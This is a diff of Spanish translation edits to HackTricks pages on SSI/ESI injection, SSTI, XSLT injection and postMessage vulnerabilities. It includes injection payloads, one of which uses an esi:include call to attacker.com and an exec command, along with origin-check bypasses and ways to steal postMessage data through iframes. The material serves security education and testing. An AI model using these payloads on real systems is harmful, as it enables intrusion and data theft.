```
## [Inclusión del Lado del Servidor/Inclusión del Lado del Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Inclusión del Lado del Servidor/Inclusión del Lado del Borde](../server-side-inclusion-edge-side-inclusion-injection.md)
### Pruebas Básicas
```markup
@ -154,11 +154,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Falsificación de Petición del Lado del Servidor](../ssrf-server-side-request-forgery/)
Las mismas pruebas utilizadas para Open Redirect pueden usarse aquí.
Se pueden utilizar las mismas pruebas que se usan para la Redirección Abierta aquí.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
## [Inyección de Plantillas del Lado del Servidor](../ssti-server-side-template-injection/)
### Pruebas Básicas
```markup
@ -173,9 +173,9 @@ ${{7*7}}
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [Inyección Lateral en Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [Inyección de código en el lado del servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Pruebas Básicas
### Pruebas básicas
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
@ -222,14 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -52,12 +52,12 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -4,15 +4,15 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -44,14 +44,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Ten en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
En el **segundo escenario**, el **mensaje solo puede ser enviado a ese dominio** (incluso si el origen del objeto ventana es diferente).\
Tenga en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto ventana es diferente).\
Si se utiliza el **comodín**, los **mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window.
### Atacando iframe y comodín en **targetOrigin**
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) si encuentras una página que puede ser **iframed** (sin protección de `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\
Ten en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado con una URL y no con un comodín**, este **truco no funcionará**.
Tenga en cuenta que si la página se puede iframar pero el **targetOrigin** está **configurado con una URL y no con un comodín**, este **truco no funcionará**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -80,18 +80,18 @@ return;
```
### Enumeración
Para encontrar **escuchas de eventos** en la página actual puedes:
Para **encontrar escuchas de eventos** en la página actual puedes:
- **Buscar** en el código JS por `window.addEventListener` y `$(window).on` (_versión JQuery_)
- **Ejecutar** en la consola de herramientas para desarrolladores: `getEventListeners(window)`
* **Buscar** en el código JS `window.addEventListener` y `$(window).on` (_versión JQuery_)
* **Ejecutar** en la consola de herramientas para desarrolladores: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
- **Ir a** _Elementos --> Escuchas de eventos_ en las herramientas para desarrolladores del navegador
* **Ir a** _Elementos --> Escuchas de eventos_ en las herramientas para desarrolladores del navegador
![](<../../.gitbook/assets/image (617).png>)
- Utilizar una **extensión para navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Estas extensiones para navegadores **interceptarán todos los mensajes** y te los mostrarán.
* Utilizar una **extensión para navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Estas extensiones para navegadores **interceptarán todos los mensajes** y te los mostrarán.
### Saltos de verificación de origen
@ -103,15 +103,15 @@ Para encontrar **escuchas de eventos** en la página actual puedes:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- El método **`search()`** de `String.prototype.search()` está destinado para expresiones regulares, no para cadenas. Pasar cualquier cosa que no sea una expresión regular conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo evadir la validación con dominios especialmente diseñados. Por ejemplo:
- El método **`search()`** de `String.prototype.search()` está destinado para expresiones regulares, no para cadenas. Pasar cualquier cosa que no sea una expresión regular conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como comodín, permitiendo evadir la validación con dominios especialmente diseñados. Por ejemplo:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- La función **`match()`**, similar a `search()`, procesa regex. Si el regex no está estructurado correctamente, podría ser propenso a evasiones.
- La función **`match()`**, similar a `search()`, procesa regex. Si la regex no está estructurada correctamente, podría ser propensa a evasiones.
- La función **`escapeHtml`** está destinada a sanear las entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
- La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
- Fallo esperado:
```javascript
@ -127,17 +127,17 @@ result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotable debido a su propiedad de solo lectura `name`. Esta propiedad, cuando se usa en plantillas, no es saneada por la función `escapeHtml`, lo que conlleva riesgos de seguridad potenciales.
En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotable debido a su propiedad de solo lectura `name`. Esta propiedad, cuando se usa en plantillas, no es sanitizada por la función `escapeHtml`, lo que conlleva riesgos de seguridad potenciales.
- La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de misma procedencia dentro del mismo dominio principal.
- La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de misma origen dentro del mismo dominio principal.
### Bypass de e.origin == window.origin
Al incrustar una página web dentro de un **iframe con sandbox** utilizando %%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%, es crucial entender que el origen del iframe se establecerá como `null`. Esto es particularmente importante al tratar con **atributos de sandbox** y sus implicaciones en seguridad y funcionalidad.
Al incrustar una página web dentro de un **iframe con sandbox** utilizando %%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%, es crucial entender que el origen del iframe se establecerá en `null`. Esto es particularmente importante al tratar con **atributos de sandbox** y sus implicaciones en seguridad y funcionalidad.
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece como `null`, alineándose con el origen del iframe.
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde el iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece en `null`, alineándose con el origen del iframe.
Consecuentemente, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, tanto el origen de envío como el de recepción se establecen como `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** se evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen `null`.
Consecuentemente, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, tanto el origen de envío como el de recepción se establecen en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** se evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen `null`.
Para más información **lee**:
@ -156,7 +156,7 @@ return;
```
Puedes forzar que **`e.source`** de un mensaje sea nulo creando un **iframe** que **envíe** el **postMessage** y sea **eliminado inmediatamente**.
Para obtener más información **lee:**
Para obtener más información, **lee:**
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
@ -174,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Robo de mensajes enviados al hijo bloqueando la página principal
En la siguiente página puedes ver cómo podrías robar datos sensibles enviados a un **iframe secundario** bloqueando la página principal antes de enviar los datos y abusando de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos:
En la siguiente página puedes ver cómo podrías robar datos sensibles enviados a un **iframe secundario** bloqueando la **página principal** antes de enviar los datos y abusando de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
@ -182,7 +182,7 @@ En la siguiente página puedes ver cómo podrías robar datos sensibles enviados
### Robo de mensajes modificando la ubicación del iframe
Si puedes incluir un iframe de una página web sin X-Frame-Header que contenga otro iframe, puedes **cambiar la ubicación de ese iframe hijo**, por lo que si está recibiendo un **postmessage** enviado usando un **comodín**, un atacante podría **cambiar** el **origen** de ese iframe a una página **controlada** por él y **robar** el mensaje:
Si puedes incluir un iframe de una página web sin encabezado X-Frame que contiene otro iframe, puedes **cambiar la ubicación de ese iframe hijo**, por lo que si está recibiendo un **postmessage** enviado usando un **comodín**, un atacante podría **cambiar** el **origen** de ese iframe a una página **controlada** por él y **robar** el mensaje:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -190,7 +190,7 @@ Si puedes incluir un iframe de una página web sin X-Frame-Header que contenga o
### postMessage a la Polución de Prototipos y/o XSS
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **incluir** la **página** en un **iframe** y **explotar** la **polución de prototipos/XSS** enviando el exploit a través de `postMessage`.
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **incluir un iframe** en la **página** y **explotar** la **polución de prototipos/XSS** enviando el exploit a través de `postMessage`.
Un par de **XSS muy bien explicados a través de `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
@ -231,7 +231,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -14,7 +14,7 @@
## Ganando RCs con Iframes
Según este [**informe de Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) los documentos de blob creados desde orígenes nulos están aislados por razones de seguridad, lo que significa que si mantienes ocupada la página principal, la página del iframe se ejecutará.
Según este [**informe de Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) los blobs creados desde orígenes nulos están aislados por razones de seguridad, lo que significa que si mantienes ocupada la página principal, la página del iframe se ejecutará.
Básicamente, en ese desafío se ejecuta un **iframe aislado** y justo **después** de que se **cargue**, la página **padre** va a **enviar un mensaje post** con la **bandera**.\
Sin embargo, esa comunicación postmessage es **vulnerable a XSS** (el **iframe** puede ejecutar código JS).
@ -22,7 +22,7 @@ Sin embargo, esa comunicación postmessage es **vulnerable a XSS** (el **iframe*
Por lo tanto, el objetivo del atacante es **permitir que el padre cree el iframe**, pero **antes** de que la página **padre** **envíe los datos sensibles** (**bandera**) **mantenerla ocupada** y enviar el **payload al iframe**. Mientras el **padre está ocupado**, el **iframe ejecuta el payload** que será algún JS que escuchará el **mensaje postmessage del padre y filtrará la bandera**.\
Finalmente, el iframe ha ejecutado el payload y la página padre deja de estar ocupada, por lo que envía la bandera y el payload la filtra.
Pero, ¿cómo podrías hacer que el padre esté **ocupado justo después de generar el iframe y solo mientras espera a que el iframe esté listo para enviar los datos sensibles**? Básicamente, necesitas encontrar una **acción asincrónica** que el padre pueda **ejecutar**. Por ejemplo, en ese desafío, el padre estaba **escuchando** los **postmessages** de esta manera:
Pero, ¿cómo podrías hacer que el padre esté **ocupado justo después de generar el iframe y solo mientras espera a que el iframe esté listo para enviar los datos sensibles**? Básicamente, necesitas encontrar una **acción asincrónica** que puedas hacer que el padre **ejecute**. Por ejemplo, en ese desafío, el padre estaba **escuchando** los **postmessages** de esta manera:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -29,13 +29,13 @@ El problema principal es que la [**página principal**](https://so-xss.terjanq.m
Veamos la solución que proponen.
### Bypass de SOP 1 (e.origin === null)
### Bypass SOP 1 (e.origin === null)
Cuando `//example.org` está incrustado en un **iframe con sandbox**, entonces el **origen de la página** será **`null`**, es decir, **`window.origin === null`**. Por lo tanto, simplemente al incrustar el iframe a través de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` podríamos **forzar el origen `null`**.
Cuando `//example.org` está incrustado en un **iframe con sandbox**, entonces el **origen** de la página será **`null`**, es decir, **`window.origin === null`**. Por lo tanto, simplemente al incrustar el iframe a través de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` podríamos **forzar el origen `null`**.
Si la página fuera **incrustable**, podrías burlar esa protección de esa manera (es posible que también sea necesario establecer las cookies en `SameSite=None`).
Si la página fuera **incrustable**, podrías burlar esa protección de esa manera (es posible que también sea necesario configurar las cookies en `SameSite=None`).
### Bypass de SOP 2 (window.origin === null)
### Bypass SOP 2 (window.origin === null)
El hecho menos conocido es que cuando se establece el valor de **sandbox `allow-popups`**, entonces la **ventana emergente abierta** heredará todos los **atributos con sandbox** a menos que se establezca `allow-popups-to-escape-sandbox`.\
Por lo tanto, abrir una **ventana emergente** desde un **origen nulo** hará que **`window.origin`** dentro de la ventana emergente también sea **`null`**.
@ -81,12 +81,12 @@ document.body.appendChild(f);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
